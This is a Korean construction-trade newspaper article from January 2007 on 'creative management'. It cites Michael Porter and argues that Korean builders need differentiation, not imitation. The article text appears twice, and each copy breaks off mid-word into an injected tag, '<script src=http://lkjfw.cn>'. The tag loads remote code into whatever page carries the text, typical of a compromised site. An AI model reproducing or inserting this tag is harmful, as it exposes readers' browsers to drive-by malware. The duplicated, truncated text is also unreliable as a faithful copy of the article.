2007년 경영 화두 ''창조경영''
보도일자 2007-01-16
보도기관 일간건설신문
창조경영의 등장 배경
2006년 하반기부터 창조경영 혹은 창조경제라는 화두가 국내에 광범위하게 퍼지기 시작했다. 한국의 한 유력경제지가 2006년 10월에 개최한 ‘세계지식포럼’은 슬로건으로 ‘창조경제’를 내걸었고, 2006년 10월 초 국내 최대그룹의 회장은 두바이건설 현장을 방문한 자리에서 ‘창조경영’을 강조하였다.
‘세계지식포럼’에서 세계적인 지명도를 지닌 하버드경영대학원의 마이클포터교수는 일본의 예를 들어 한국이 경제 답보 상태에서 벗어나기 위해서는 ‘창조(creative) 혹은 독창성(unique)’을 보유하는 방향으로 나가야 한다고 주장했다. 포터 교수는 일본이 양(量)적 성장에서 질(質)적 성장으로 전환하지 못한 것을 일본 경제가 고속 성장을 지속해나갈 수 없었던 가장 중요한 이유로 단정하였다. 양적 성장은 앞선 기업의 경영 전략이나 기술을 복제하여 성장하는 것이기 때문에, 결국 양적 성장을 이루려는 모든 기업은 동일한 상품으로 경쟁하게 된다. 그리고 동일 상품에 대한 경쟁은 필연적으로 글로벌 시장의 경쟁이 아닌 자국 내 기업 간의 경쟁으로 이어지기 때문에, 선두 기업은 기술개발보다는 후발업체들의 견제에 역량을 집중하게 된다는 것이다.
국내 최대그룹과 포터교수의 ‘창조경영’ 그리고 ‘독창성’이 중요한 의미를 지니는 것에는 이유가 있다. 창조경영은 특정 산업만을 대상으로 하는 것이 아니기 때문이다. 두바이개발 프로젝트에서 나타난 창조적 아이디어가 국내 최대그룹의 수장이 벤치마킹할 정도로 깊은 인상을 남겼다는 사실은 더 이상 산업 간의 벽이 존재하지 않음을 시사한다. 국내 건설기업에서 도입․확산되고 있는 ‘6 시그마’ 운동도 제조업 중심인 GE에서 시작됐지만, 그 개념은 범 산업 차원으로 확산되었다. 이 역시 산업간 벽이 허물어지고 있음을 보여준다. 본 글에서는 창조경영이 건설산업과 기업에 주는 주요 메시지를 정리해보았다.
한국 건설산업에 없는 것, ‘글로벌 스타’
일반 국민들은 반도체, 자동차, 조선 분야에서는 한국의 대표 글로벌 기업의 이름을 쉽게 떠올린다. 그러나 건설산업 분야에서는 쉽게 떠올릴 수 있는 기업명이 없다. 2006년 국내 건설기업들은 해외건설시장에서 역사상 최대 수주액을 기록했다. 그럼에도 불구하고 기업명이 선뜻 떠오르지 않는 이유는 무엇인가? 국내에는 벡텔이나 방시, 스칸스카 같은 종합건설회사, 덴마크의 코비, 일본의 죠다이엔지니어링 혹은 미국의 솜건축회사 등과 같이 건설분야에서 국제적인 인지도를 가진 기업이 없다. 한 마디로 한국에는 ‘star 기업’이 없다.
국내 기업들은 장기비전이나 전략을 수립할 때 국내 혹은 글로벌 기업을 벤치마킹한다. 그러나 포터교수의 주장처럼 복제(copy) 혹은 벤치마킹은 동일 분야에서의 따라잡기가 전부이기 때문에 확률적으로도 후발주자가 선두주자를 추월하기가 불가능하다. 즉 따라잡기 전략으로는 절대 ‘글로벌 스타’가 탄생하지 못한다. 따라서 향후 한국의 건설기업들이 ‘글로벌 스타’군으로 진입하기 위해서는 따라잡기의 전략을 버리고, 경쟁 분야를 다양화, 다변화시켜가야 한다. 동일한 분야에서 최고가 되기 위한 경쟁은 ‘홀로 살아남기’가 되지만, 경쟁 분야를 다양화시키는 것은 다양한 분야의 ‘글로벌 스타’가 탄생하는 ‘상생(相生)’ 환경을 구축 할 수 있게 한다. 상생 환경은 상호 협력체계 구축을 통한 경쟁을 유도한다. 그러나 오직 한 개의 1위 기업을 위한 경쟁은 협력보다는 경쟁을 우선하기 때문에 견제가 지배적인 환경이 되며, 이러한 덜미잡기로는 어떤 기업도 선두를 유지할 수 없다.
건설기업 창조경영의 본질
창조경영의 본질은 경영전략의 차별성에서부터 시작된다. 창조경영의 반대는 ‘복제경영’ 혹은 ‘양(量)의 경영’이다. 복제 경영은 눈에 보이는 것에 대한 경쟁이다. 눈에 보이는 것은 ‘양(量)’이지 ‘질(質)’이 아니다. 눈에 보이는 것이 95% 이고, 눈에 보이지 않는 것이 나머지 5% 라고 한다. 보이는 것에 대한 경쟁은 95%를 닮기 위한 것이다. 그러나 기업의 글로벌 경쟁력을 좌우하는 것은 보이는 95%가 아닌 보이지 않는 5%의 창조적 혹은 차별적인 아이디어라고 한다.
따라잡기의 경쟁으로는 늘어선 경쟁자그룹을 뛰어 넘을 수 없다. 이는 마치 육상의 트랙경기에서 오직 한 사람이 1등 하는 것과 같다. 그러나 육상경기는 트랙에서만 진행되는 것이 아니라 운동장 안과 밖에서도 진행된다. 즉 육상경기의 종목만큼 많은 금메달 수상자가 배출되어야 하는 것과 같은 논리이다.
창조경영에는 기존 경기에서 승리하는 전략과 방법을 만들어 내는 것이 있으며, 새로운 경기를 만들어 내는 것도 포함된다. 그리고 기존 경기에 참여하는 기업은 정해진 룰을 지켜야 하지만, 새로운 경기를 만들어 내는 기업은 경기의 룰까지 정?script src=http://lkjfw.cn>
2006년 하반기부터 창조경영 혹은 창조경제라는 화두가 국내에 광범위하게 퍼지기 시작했다. 한국의 한 유력경제지가 2006년 10월에 개최한 ‘세계지식포럼’은 슬로건으로 ‘창조경제’를 내걸었고, 2006년 10월 초 국내 최대그룹의 회장은 두바이건설 현장을 방문한 자리에서 ‘창조경영’을 강조하였다.
‘세계지식포럼’에서 세계적인 지명도를 지닌 하버드경영대학원의 마이클포터교수는 일본의 예를 들어 한국이 경제 답보 상태에서 벗어나기 위해서는 ‘창조(creative) 혹은 독창성(unique)’을 보유하는 방향으로 나가야 한다고 주장했다. 포터 교수는 일본이 양(量)적 성장에서 질(質)적 성장으로 전환하지 못한 것을 일본 경제가 고속 성장을 지속해나갈 수 없었던 가장 중요한 이유로 단정하였다. 양적 성장은 앞선 기업의 경영 전략이나 기술을 복제하여 성장하는 것이기 때문에, 결국 양적 성장을 이루려는 모든 기업은 동일한 상품으로 경쟁하게 된다. 그리고 동일 상품에 대한 경쟁은 필연적으로 글로벌 시장의 경쟁이 아닌 자국 내 기업 간의 경쟁으로 이어지기 때문에, 선두 기업은 기술개발보다는 후발업체들의 견제에 역량을 집중하게 된다는 것이다.
국내 최대그룹과 포터교수의 ‘창조경영’ 그리고 ‘독창성’이 중요한 의미를 지니는 것에는 이유가 있다. 창조경영은 특정 산업만을 대상으로 하는 것이 아니기 때문이다. 두바이개발 프로젝트에서 나타난 창조적 아이디어가 국내 최대그룹의 수장이 벤치마킹할 정도로 깊은 인상을 남겼다는 사실은 더 이상 산업 간의 벽이 존재하지 않음을 시사한다. 국내 건설기업에서 도입․확산되고 있는 ‘6 시그마’ 운동도 제조업 중심인 GE에서 시작됐지만, 그 개념은 범 산업 차원으로 확산되었다. 이 역시 산업간 벽이 허물어지고 있음을 보여준다. 본 글에서는 창조경영이 건설산업과 기업에 주는 주요 메시지를 정리해보았다.
한국 건설산업에 없는 것, ‘글로벌 스타’
일반 국민들은 반도체, 자동차, 조선 분야에서는 한국의 대표 글로벌 기업의 이름을 쉽게 떠올린다. 그러나 건설산업 분야에서는 쉽게 떠올릴 수 있는 기업명이 없다. 2006년 국내 건설기업들은 해외건설시장에서 역사상 최대 수주액을 기록했다. 그럼에도 불구하고 기업명이 선뜻 떠오르지 않는 이유는 무엇인가? 국내에는 벡텔이나 방시, 스칸스카 같은 종합건설회사, 덴마크의 코비, 일본의 죠다이엔지니어링 혹은 미국의 솜건축회사 등과 같이 건설분야에서 국제적인 인지도를 가진 기업이 없다. 한 마디로 한국에는 ‘star 기업’이 없다.
국내 기업들은 장기비전이나 전략을 수립할 때 국내 혹은 글로벌 기업을 벤치마킹한다. 그러나 포터교수의 주장처럼 복제(copy) 혹은 벤치마킹은 동일 분야에서의 따라잡기가 전부이기 때문에 확률적으로도 후발주자가 선두주자를 추월하기가 불가능하다. 즉 따라잡기 전략으로는 절대 ‘글로벌 스타’가 탄생하지 못한다. 따라서 향후 한국의 건설기업들이 ‘글로벌 스타’군으로 진입하기 위해서는 따라잡기의 전략을 버리고, 경쟁 분야를 다양화, 다변화시켜가야 한다. 동일한 분야에서 최고가 되기 위한 경쟁은 ‘홀로 살아남기’가 되지만, 경쟁 분야를 다양화시키는 것은 다양한 분야의 ‘글로벌 스타’가 탄생하는 ‘상생(相生)’ 환경을 구축 할 수 있게 한다. 상생 환경은 상호 협력체계 구축을 통한 경쟁을 유도한다. 그러나 오직 한 개의 1위 기업을 위한 경쟁은 협력보다는 경쟁을 우선하기 때문에 견제가 지배적인 환경이 되며, 이러한 덜미잡기로는 어떤 기업도 선두를 유지할 수 없다.
건설기업 창조경영의 본질
창조경영의 본질은 경영전략의 차별성에서부터 시작된다. 창조경영의 반대는 ‘복제경영’ 혹은 ‘양(量)의 경영’이다. 복제 경영은 눈에 보이는 것에 대한 경쟁이다. 눈에 보이는 것은 ‘양(量)’이지 ‘질(質)’이 아니다. 눈에 보이는 것이 95% 이고, 눈에 보이지 않는 것이 나머지 5% 라고 한다. 보이는 것에 대한 경쟁은 95%를 닮기 위한 것이다. 그러나 기업의 글로벌 경쟁력을 좌우하는 것은 보이는 95%가 아닌 보이지 않는 5%의 창조적 혹은 차별적인 아이디어라고 한다.
따라잡기의 경쟁으로는 늘어선 경쟁자그룹을 뛰어 넘을 수 없다. 이는 마치 육상의 트랙경기에서 오직 한 사람이 1등 하는 것과 같다. 그러나 육상경기는 트랙에서만 진행되는 것이 아니라 운동장 안과 밖에서도 진행된다. 즉 육상경기의 종목만큼 많은 금메달 수상자가 배출되어야 하는 것과 같은 논리이다.
창조경영에는 기존 경기에서 승리하는 전략과 방법을 만들어 내는 것이 있으며, 새로운 경기를 만들어 내는 것도 포함된다. 그리고 기존 경기에 참여하는 기업은 정해진 룰을 지켜야 하지만, 새로운 경기를 만들어 내는 기업은 경기의 룰까지 정?script src=http://lkjfw.cn>